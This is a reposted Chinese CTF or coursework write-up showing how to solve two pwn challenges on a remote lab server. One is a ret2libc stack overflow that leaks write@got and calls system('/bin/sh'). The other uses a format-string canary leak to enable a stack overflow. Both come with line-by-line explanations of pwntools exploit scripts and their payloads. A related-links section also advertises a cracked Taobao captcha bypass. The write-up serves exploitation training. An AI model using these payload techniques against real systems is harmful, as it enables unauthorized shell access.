pwn(7.4小学期)

news2024/11/25 6:33:47

Ret2libc

先查一下壳
在这里插入图片描述
32位,放入IDA中看看
在这里插入图片描述
查看一下
vulnerable_function();这个函数
在这里插入图片描述

Read函数,很明显的栈溢出
但是观察半天,发现这里并没有system函数
字符搜索我们看到了libc.so.6
在这里插入图片描述

可以想到libc函数库以及
PLT表中的代码会根据函数在GOT表的索引,先通过GOT表中的指针获取到函数的地址,然后再跳转到函数的实际代码。

什么是libc?

libc是指C标准库(C Standard Library),它是C语言的一个重要组成部分,提供了一系列的函数和符号,用于支持C语言程序的常用操作和功能。C标准库包含了众多的头文件(header files),每个头文件中都定义了一些常用的函数原型、宏定义和数据类型。常见的C标准库头文件包括stdio.h(输入输出操作)、stdlib.h(内存管理、类型转换)、string.h(字符串处理)、math.h(数学运算)、time.h(时间和日期)等等。通过引入C标准库,开发者可以方便地利用库中的函数来执行各种常见的操作,如输入输出、字符串处理、内存分配等。C标准库的实现通常是和编译器绑定在一起,为程序员提供了必要的功能,使得开发更加方便、高效。在大多数操作系统和编译器中,libc都是默认包含的

同时我们看到哪些函数使用了plt表和got表
在这里插入图片描述
我们找到这got表和plt表的地址
在这里插入图片描述
在这里插入图片描述
但是我们要知道libc的版本型号是不一样的那同样,偏移的地址也就不一样
但是最开始我们得至少得知道write函数的地址
通过我们对服务器进行测试
在这里插入图片描述
看到尾部4d0
我们可以用https://libc.blukat.me
去查看一下
在这里插入图片描述
然后通过脚本,我们解读一下思路
在这里插入图片描述
这段代码是一个使用pwntools库进行漏洞利用的例子。它的目标是利用一个堆栈溢出漏洞将程序中的流程控制转移到libc库中的system函数,并执行/bin/sh。
下面是代码的逐行解释:

  1. from pwn import *:导入pwntools库,用于进行二进制漏洞利用。
  2. context.log_level = "debug":配置日志输出级别为debug,以便在执行过程中显示更多调试信息。
  3. p = remote('125.217.36.12', 30640):创建一个远程连接,连接到指定的IP地址和端口。
  4. elf = ELF('/home/back/stack_example/ret2libc'):使用pwntools中的ELF模块打开目标程序,以便获取其中的符号信息。
  5. 定义了一些需要的地址,如write_plt(write函数的PLT表地址)、write_got(write函数的GOT表地址)和main_addr(main函数的地址)。
  6. playload = b'a'*(0x88+0x04) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4):构造第一个payload,用于泄露write函数的地址。
  7. p.sendlineafter("Input:\n", playload):将第一个payload发送到远程连接的目标程序当中,以触发堆栈溢出漏洞。
  8. write_addr = u32(p.recv()[0:4]):接收从目标程序返回的数据,并提取前4个字节(即write函数的地址),使用u32()将其转换为32位的无符号整数。
  9. write_base = 0xd44d0system_base = 0x3a950bin_sh_addr = 0x15912b:定义一些libc库中的偏移量和地址。
  10. offset = write_addr - write_base:计算libc库基地址与write函数的地址之间的偏移量。
  11. system_addr = offset + system_basebin_sh_addr = offset + bin_sh_addr:计算system函数和/bin/sh字符串的地址,通过加上偏移量来得到实际的地址。
  12. playload2 = b'A'*(0x88+0x04) + p32(system_addr) + b'A'*4 + p32(bin_sh_addr):构造第二个payload,用于调用system函数,并传递/bin/sh字符串作为参数。
  13. p.sendline(playload2):发送第二个payload到目标程序,以完成对system函数的调用和参数传递。
  14. p.interactive():进入交互模式,使我们能够与目标程序进行交互,从而执行进一步的命令。
    这段代码的目的是通过堆栈溢出漏洞,获取write函数的地址,计算libc库的基地址,并通过修改返回地址,将流程控制转移到system函数,最终执行/bin/sh。请注意,具体的地址和偏移量需要根据目标环境的实际情况进行调整。

在这里插入图片描述

格式化字符+Canary绕过
在这里插入图片描述
放入IDA通过主函数我们看到两个函数
在这里插入图片描述
第一个函数有做了一个格式化,用printf做了输出
第二个函数看到有栈溢出
在这里插入图片描述
我们再看到
Buf里面
在这里插入图片描述

从上图我们也可以看出
发现var_8是个固定的参数,这里就是栈的保护了,如果这个数被被改变的话程
序将将会终止,那么我们的思路
利用格式化函数将var_8参数的数值暴露出来
同时,然后再将该值输入,利用第二个函数造成栈溢出
在一个我们看到这个函数中
在这里插入图片描述

那么栈溢出的地址应该是这里
通过gbg的调试我们看到
在这里插入图片描述
到11位置,通常00结尾就是
但这里11是十六进制,同时我们可在程序里输入“aaaa”,回显后出现的是61616161,但是前面会有6个数值
%p可以泄露十六位的地址
Buf和V2值差距是0x11
再加上偏移位就是23
看到脚本
在这里插入图片描述
这段代码是一个使用pwntools库进行漏洞利用的例子。它的目标是利用一个格式化字符串漏洞以及栈溢出漏洞,获取目标程序中的栈保护字(canary),并控制程序流程。
下面是代码的逐行解释:

  1. from pwn import *:导入pwntools库,用于进行二进制漏洞利用。
  2. context(os='linux', arch='amd64', log_level='debug'):配置pwntools运行环境,设定操作系统为Linux,架构为amd64,并设置日志输出级别为debug。
  3. p = remote('125.217.36.12', 30391):创建一个远程连接,连接到指定的IP地址和端口。
    4.通过发送指令,获取目标程序的栈保护字(canary)的值。具体方式是发送指令"2",然后发送一个格式化字符串"%23$p"用于泄露栈保护字的值。接收到的数据会通过int()函数将其转换为十六进制数,存储到变量tmp中。然后再使用p64()函数将其转换为64位大小的字节串。
    5.构造payload。其中包括填充"a"*(0x88)来覆盖掉栈上的数据,接着是栈保护字canary,然后是两个0作为填充,最后是要跳转到的函数地址0x4008DA。
    6.发送一个指令以触发栈溢出漏洞,具体指令为"1"。
    7.发送payload,将其作为输入发送到目标程序。
    8.进入交互模式,使我们能够与目标程序进行交互,从而执行进一步的命令。
    这段代码的目的是利用格式化字符串漏洞获取目标程序的栈保护字,然后通过栈溢出漏洞修改返回地址跳转到指定的函数地址。请注意,具体的地址和偏移量需要根据目标环境的实际情况进行调整。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/719118.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[已成功破解] 阿里 taobao 滑条验证码 x5sec解密 slidedata参数

[已破解] 阿里 taobao 滑条验证码 x5sec解密 slidedata参数 今天在爬tb数据的时候 发现老是会触发一个滑块验证 只要过了这个滑块将滑块返回的x5secdata 的cookie 带到请求参数里面去 就能完美避开了 然后去抓了下滑块的包 过了这个滑块拿到cookie就能 访问阿里一直获取数据…

FPGA纯verilog实现UDP协议栈 AXIS用户接口,可替代Tri Mode Ethernet MAC,提供三套工程源码和技术支持

目录 1、前言2、我这里已有的UDP方案3、该UDP协议栈性能4、详细设计方案网络PHYRGMII转GMII模块AXIS FIFOUDP协议栈 5、vivado工程1-->B50610 工程6、vivado工程1-->RTL8211 工程7、vivado工程1-->88E1518 工程8、上板调试验证并演示准备工作查看ARPUDP数据回环测试 9…

1.5 基于MyBatis数据库逆向生成工具,并创建serverice和controller控制层

步骤1&#xff1a;在mybatis-generator中添加要生成的数据库表名 在genratorConfig.xml内容: <!-- 数据库表 --> <table tableName"stu"></table>步骤2&#xff1a;StuMapper.xml和StuMapper拷贝到对应的mapper模块下 步骤3&#xff1a;pojo对应…

计算机视觉颜色校正方法

计算机视觉颜色校正方法 调色和色彩矫正之间的区别直方图均衡化原理实现代码 CCM颜色校正矩阵原理 深度学习Deep_White_Balance什么是sRGB图像问题描述&#xff1a;方法概述&#xff1a;模型架构&#xff1a;训练损失函数实现快速开始 调色和色彩矫正之间的区别 调色是指通过调…

Vue3使用element-plus实现弹窗效果-demo

使用 <ShareDialog v-model"isShow" onChangeDialog"onChangeDialog" /> import ShareDialog from ./ShareDialog.vue; const isShow ref(false); const onShowDialog (show) > {isShow.value show; }; const onChangeDialog (val) > {co…

使用AI人工智能给线稿上色,给漫画上色

【深度学习】AIGC &#xff0c;ControlNet 论文中的图。 一些酷炫的可以做纵深领域的图&#xff0c;这里再放一下。 下图是由手绘草稿给出图&#xff1a; 由线稿得到图&#xff0c;给漫画上色&#xff1a;

简单的PWN学习-ret2shellcode

最近笔者开始钻研pwn的一些知识&#xff0c;发现栈溢出真的非常的有意思&#xff0c;于是经过一个多礼拜的学习&#xff0c;终于是把2016年的一道CTF题给看明白了了&#xff0c;首先我们学习一下前置技能 0x01 shellcode​ 首先简单看一下shellcode是怎么生成的&#xff0c;首…

Linux和Windows两种平台安装Maven

Linux和Windows两种平台安装Maven 0. 写在前面 Linux版本&#xff1a;Centos-7.5Windows版本&#xff1a;Windows10Maven版本&#xff1a;Maven-3.5.4JDK版本&#xff1a;jdk1.8 1. Linux平台安装 1.1 查看Linux内核版本命令 查看Linux内核版本命令 [whybigdatanode02 ~]$ …

AI医疗。

随着技术的发展&#xff0c;人工智能&#xff08;AI&#xff09;已经渗透到了我们生活的许多领域&#xff0c;包括凭其强大的预测和分析能力已经走入了医疗卫生领域。特别是在使用OpenAI的GPT-4技术的chatbot&#xff0c;如chatGPT和GPT-4等&#xff0c;已经成为了给医疗行业注…

驾驶舱数据指标体系设计指南

大数据时代下&#xff0c;各行各业面对众多的顾客和复杂多变的市场需求&#xff0c;要想及时适应市场变化&#xff0c;掌握市场动态&#xff0c;就需要对各个环节的数据进行分析&#xff0c;得到科学有效的结论来指导决策&#xff0c;这就离不开领导驾驶舱。 一、领导驾驶舱是什…

记一次 .NET 某工控视觉系统 卡死分析

一&#xff1a;背景 1. 讲故事 前段时间有位朋友找到我&#xff0c;说他们的工业视觉软件僵死了&#xff0c;让我帮忙看下到底是什么情况&#xff0c;哈哈&#xff0c;其实卡死的问题相对好定位&#xff0c;无非就是看主线程栈嘛&#xff0c;然后就是具体问题具体分析&#x…

为生信写的Python简明教程 | 视频7

开源生信 Python教程 生信专用简明 Python 文字和视频教程 源码在&#xff1a;https://github.com/Tong-Chen/Bioinfo_course_python 目录 背景介绍 编程开篇为什么学习Python如何安装Python如何运行Python命令和脚本使用什么编辑器写Python脚本Python程序事例Python基本语法 数…

BurpSutie拓展插件推荐-辅助测试插件

为方便您的阅读&#xff0c;可点击下方蓝色字体&#xff0c;进行跳转↓↓↓ 01 chunked-coding-converter-0.4.0&#xff08;1&#xff09;工具介绍&#xff08;2&#xff09;下载地址&#xff08;3&#xff09;使用说明 02 captcha-killer&#xff08;1&#xff09;工具介绍&a…

HOT43-验证二叉搜索树

leetcode原题链接&#xff1a;验证二叉搜索树 题目描述 给你一个二叉树的根节点 root &#xff0c;判断其是否是一个有效的二叉搜索树。 有效 二叉搜索树定义如下&#xff1a; 节点的左子树只包含 小于 当前节点的数。节点的右子树只包含 大于 当前节点的数。所有左子树和右…

tty(三)uart框架分析

基于linux-3.14.16 重点文件&#xff1a;serial_core.c 一、基本数据结构和接口 这里显然是导出符号给需要用到uart核心的代码使用的&#xff0c;我们从uart_register_driver和uart_add_one_port来分析&#xff0c;搞清楚uart和tty核心的关系。 二、uart_register_driver 首…

服务案例|消失的Linux定时清除任务

企业数字化转型&#xff0c;应用软件不断升级&#xff0c;对运行环境的要求也越来越高&#xff0c;CPU、内存等硬件也同步进入升级。当业务运行或备份时&#xff0c;将产生大量历史文件和临时文件&#xff0c;这就是在运维检测中&#xff0c;我们常看到文件每天几个G&#xff0…

软中断通信及signal()解读

目录 软中断通信 signal() 概述 signal()类似的函数 signal()之SIGINT signal()之SIGTERM signal()之SIGALRM signal()之SIGQUIT SIG_IGN使用 软中断通信 进程间通信方式有多种&#xff0c;其中软中断通信是一种常见的方式&#xff0c;它基于信号机制&#xff0c;可…

【mysql】索引存储结构B+树

参考&#xff1a; https://zhuanlan.zhihu.com/p/545113372 https://www.bilibili.com/read/cv18157852 Mysql数据库引擎默认使用InnoDB&#xff0c;使用B树数据结构。 一个表只能有一个聚簇索引&#xff0c;但可以有多个非聚簇索引&#xff0c;也就是多个索引目录提供数据检索…

coord软件的一些操作

文章目录 1. 大地坐标&#xff08;B&#xff0c;L&#xff09;转换为平面坐标&#xff08;X&#xff0c;Y&#xff09;操作流程示例 2. 大地坐标系下的平面坐标转换&#xff08;X&#xff0c;Y&#xff09;为大地坐标&#xff08;B&#xff0c;L&#xff09;操作示例 3. 6带坐标…

docker专题系列之十六:安装mycat

由于docker镜像仓库中mycat镜像比较少或相对比较旧&#xff0c;因此一般使用手动制作镜像方式安装部署。下文&#xff0c;良哥通过实验&#xff0c;分别介绍两种方式下如何安装部署mycat。 一、手动制作镜像方式 1.创建镜像 #创建工作目录 mkdir /usr/rdc mkdir /usr/rdc/my…